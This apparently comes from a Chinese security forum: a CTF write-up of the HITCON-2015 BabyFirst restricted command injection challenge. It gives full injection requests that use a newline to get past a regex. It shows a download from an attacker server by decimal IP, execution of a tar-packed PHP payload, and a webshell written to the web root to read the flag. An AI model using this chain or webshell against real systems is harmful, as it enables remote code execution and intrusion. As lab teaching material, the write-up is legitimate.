首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
WEB安全
发新帖
0
1
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
发表于: 2026-8-9 06:21
1473
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
mb_dcvvjyqc
2026-8-9 06:21
1473
# 在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现 > 目标:HITCON-2015 BabyFirst,PHP 5.6.40 + nginx 动态靶机 > 结果:**`flag{05a7d031-20d3-4b84-acb8-f16a3336ae2e}`** > 阅读本文你将获得:一套可复现的限制型命令注入攻击链(换行注入原语 → 纯 token 下载 → tar 打包执行 → 相对路径穿透),以及每个环节的原理与排错方法。 --- ## 0. 题面:三重约束下的命令执行 靶机根路径直接 `highlight_file(__FILE__)`,题面即源码: ```php <?php highlight_file(__FILE__); $dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']; if ( !file_exists($dir) ) mkdir($dir); chdir($dir); $args = $_GET['args']; for ( $i=0; $i<count($args); $i++ ){ if ( !preg_match('/^\w+$/', $args[$i]) ) exit(); } exec("/bin/orange " . implode(" ", $args)); ?> ``` 三条约束决定了攻击面: | 约束 | 代码依据 | 后果 | |------|---------|------| | **参数级白名单** | `preg_match('/^\w+$/', $args[$i])` | 每个参数只能是 `[A-Za-z0-9_]`;`/ . - \| > $() ` 空格全部不可用 | | **前缀锁定** | `exec("/bin/orange " . implode(" ", $args))` | 注入内容被拼在固定命令后,必须切断前缀 | | **输出黑洞** | `exec()` 默认不捕获输出 | 无法直接回显,只能时间盲测 / 文件落地验证 | 另有一个隐性约束:`$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR']`——每次请求先 `mkdir` + `chdir` 到 `sandbox/<REMOTE_ADDR>/`,即**所有命令的 cwd 都是按客户端 IP 命名的沙箱目录**(网关反代下该 IP 是内网值)。 --- ## 1. 环境准备:攻击者侧基础设施 需要一台公网可达的 HTTP 服务器(下文以 `<VPS_IP>` 指代,十进制形式为 `<VPS_DEC>`): - 在 80 端口托管 payload 文件 `index.html`,内容为写 shell 的 PHP 脚本(见 §4.1) - 记录访问日志,用于确认靶机是否成功下载(排错关键) > 也可用任何可被 wget 拉取的 HTTP 服务(如对象存储的直链域名——域名本身是 `\w+` 合法 token,同样可行;十进制 IP 是通用做法,不依赖域名解析)。 --- ## 2. 注入原语:PCRE `$` 锚点的换行绕过 `preg_match('/^\w+$/', $arg)` 校验的是"字符串整体由单词字符组成"。但 PCRE 默认(未启用 `D` 修饰符)下,**`$` 匹配的是"字符串末尾的换行符之前"的位置**。因此: ``` 参数值: a\n (即 URL 编码 a%0a) 正则: ^\w+$ 匹配: \w 吃掉 'a',$ 锚定在换行之前 → 通过 ``` 该参数拼入 `exec()` 交给 `/bin/sh -c` 执行时,`\n` 是命令分隔符: ``` /bin/orange a sleep 3 ← 前缀被切断,独立执行 ``` **验证(时间盲测)**——`exec()` 无回显,延迟是唯一可靠的执行证据: ``` GET /?args[]=a%0a&args[]=sleep&args[]=3 实际耗时 ≈ 3.06s → 注入原语成立 ``` --- ## 3. 攻击链设计:把每个禁令变成攻击面 在纯 `\w+` token 约束下,最终命令链为: ``` ① mkdir exploit → 建纯字母目录(规避点号) ② cd exploit; wget <VPS_DEC> → 十进制 IP 下载(规避点号) ③ tar cvf archived exploit → 打包(归档名纯字母) ④ php archived → PHP 解析 tar 包,执行内嵌代码 ``` ### 3.1 十进制 IP(规避 `wget` 的点号) `wget` 接受不带协议前缀的主机,但 IP 中的点号会被 `\w+` 正则枪毙。将点分十进制 IP 换算为整数(IPv4 按大端拼接): ``` 1.2.3.4 = 1·2²⁴ + 2·2¹⁶ + 3·2⁸ + 4 = 16909060 ``` `wget 16909060` 等价于 `wget <mark class="encrypted">3e2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0q4Q4x3X3f1J5i4K6u0W2x3#2)9J5k6e0c8Q4x3V1k6Q4y4U0m8Q4c8f1k6Q4b7V1y4Q4z5o6S2%4k6$3g2@1</mark> 自动补全协议),下载内容存为 `index.html`。 ### 3.2 tar 引用目录名(规避落地文件的点号) `wget` 落地文件固定叫 `index.html`——**含点号,永远无法被 `bash index.html` 等方式直接引用**(文件名过不了 `^\w+$`)。解法:不引用文件,引用**目录**。`tar cvf archived exploit` 把整个目录打包成 `archived`(纯字母归档名),命令参数只需 `exploit`(纯字母目录名)。 ### 3.3 PHP 解释器吞 tar 包(解决"下载的文件无法执行") `php archived` 用 PHP CLI 解析 tar 归档。PHP 对非 PHP 文件是"文本透传 + `<?php ?>` 标签识别":tar 二进制头被当普通文本输出(无影响),**内嵌的 PHP 代码段被正常解析执行**。因此 payload 只需含 `<?php ... ?>` 标签,即可借 `php archived` 这条命令执行任意 PHP 代码。 --- ## 4. Payload 与完整复现 ### 4.1 服务器侧:托管 payload `<VPS_IP>:80/index.html`(**注意:用相对路径 `../../`,这是关键**): ```php <?php file_put_contents('../../shell.php', '<?php system($_POST["cmd"]); ?>'); ?> ``` ### 4.2 靶机侧:四步注入(每条命令一个请求) ``` ① mkdir: GET /?args[]=a%0a&args[]=mkdir&args[]=exploit ② 下载(cd 进目录 + wget): GET /?args[]=a%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=<VPS_DEC> ③ 打包: GET /?args[]=a%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit ④ 执行: GET /?args[]=a%0a&args[]=php&args[]=archived ``` ### 4.3 相对路径穿透:为什么 `../../` 是关键 `php archived` 由 `exec()` 拉起,其 cwd 继承自 PHP 进程——即源码 `chdir($dir)` 后的 `sandbox/<REMOTE_ADDR>/`。**我们不需要知道 REMOTE_ADDR 的具体值**,因为相对路径可以脱离绝对位置使用: ``` sandbox/<REMOTE_ADDR>/ --../--> sandbox/ --../--> /var/www/html/(web 根) ``` 于是 `file_put_contents('../../shell.php', ...)` 把 webshell 写到 **web 根**,访问路径确定: ``` POST /shell.php cmd=id → uid=33(www-data) ``` > 这一步绕开了"必须探测/猜测 `sandbox/<IP>/` 目录名"的难点。相比"payload 写相对路径 `shell.php` 到 cwd 再探测 IP"的方案,`../../` 穿透是确定性 100% 的——不需要任何关于网关 IP 的前置知识,也不存在 IP 变化导致的失败。 ### 4.4 收 flag ``` POST /shell.php cmd=cat /flag → flag{05a7d031-20d3-4b84-acb8-f16a3336ae2e} ``` ### 4.5 完整复现步骤(可直接照打) 1. 起一个 HTTP 服务,托管 §4.1 的 `index.html`,记日志 2. 计算 `<VPS_DEC>`(Python:`sum(int(o)<<(8*(3-i)) for i,o in enumerate("1.2.3.4".split(".")))`) 3. 依次发 §4.2 的 ①②③④ 四个请求 4. 检查服务器日志:应有靶机的 `GET /` 记录(确认 ② 成功) 5. `POST /shell.php cmd=cat /flag` --- ## 5. 排错指南(实战踩过的坑) | 现象 | 根因 | 排查 / 修复 | |------|------|------------| | ① 后服务器日志无新记录 | **`%0a` 放错了位置**:`args[]=mkdir%0a` 会让 `mkdir` 变无参数调用,静默失败 | 第一个参数必须是 `a%0a`(dummy 引爆点),后续命令保持纯 token。先盲测 `a%0a + sleep 3` 确认注入原语存活 | | `sleep` 盲测不延迟 | 同上,或注入原语本身失效 | `a%0a` + `sleep N`,掐表 | | `php archived` 后 shell 找不到 | ① 写的是相对路径 `shell.php`(落在 `sandbox/<IP>/`,IP 未知难探测)② 或直接写绝对路径 `/var/www/html/x.php` 失败 | 改用 `../../shell.php` 穿透到 web 根 | | payload 里读 `$_SERVER['REMOTE_ADDR']` 得到空值 | **`php archived` 是 CLI 进程,无 HTTP 上下文**,`$_SERVER` 不含该键 | 不要依赖运行时变量拿目录名;用 `../../` 穿透 | | PHP 语法错误(`??`) | 靶机 PHP 5.6 不支持空合并运算符 | 用 `isset($x) ? $x : 'default'` | --- ## 6. 技术要点总结 1. **PCRE 换行绕过**:`$` 默认匹配换行前位置,`a%0a` 通过 `^\w+$`;换行进 shell 即命令分隔符,切断固定前缀。 2. **十进制 IP**:点分十进制 → 整数(大端拼接),纯数字合法 token,wget 裸用自动补全协议。 3. **tar 引用目录名**:规避落地文件 `index.html` 的点号,归档名可自定义为纯字母。 4. **PHP 吞 tar 包**:CLI 解析非 PHP 文件时文本透传 + 标签识别,内嵌 `<?php ?>` 被执行。 5. **`../../` 相对路径穿透**:cwd 位置确定即可用相对路径上跳,无需知道目录绝对名——把"探测内网 IP"降级为"写 web 根"。 6. **输出黑洞下的验证纪律**:一切以时间盲测(`sleep N`)和文件落地探测为准。 --- ## 7. 结语 BabyFirst 的价值在于:它逼你把每一个"不可能"变成攻击面。点号被禁,就用十进制 IP;文件名不能有点,就打包目录;不能直接执行,就让 PHP 吞 tar 包;不知道自己在哪,就往上跳两级。 `^\w+$` 以为封死了所有路,却不知 `$` 的语义在换行符那里开了一扇门;`sandbox/<IP>/` 以为用不可知的名字藏住了文件,却不知相对路径从来不需要绝对位置。 ## 8. 感谢 感谢the_hs大佬提点我,看雪平台在所有靶机前面架了一层网关反代,PHP 拿到的 REMOTE_ADDR 是网关的内网 IP,而不是你的真实出口 IP,我才能顺利解出这道题。 **当你觉得无路可走的时候,试着不要往前,往上跳两级。**
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
收藏
・
0
点赞
・
1
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
unxeer
你的分享对大家帮助很大,非常感谢!
2026-8-9 08:43
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
mb_dcvvjyqc
9
发帖
1
回帖
40
RANK
关注
私信
他的文章
[原创]KCTF 2026 第二题:巳时·绿光幽语
129
[原创]一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag
2883
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
1473
[原创]hitcon-2016-babytrick 解题报告
3459
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部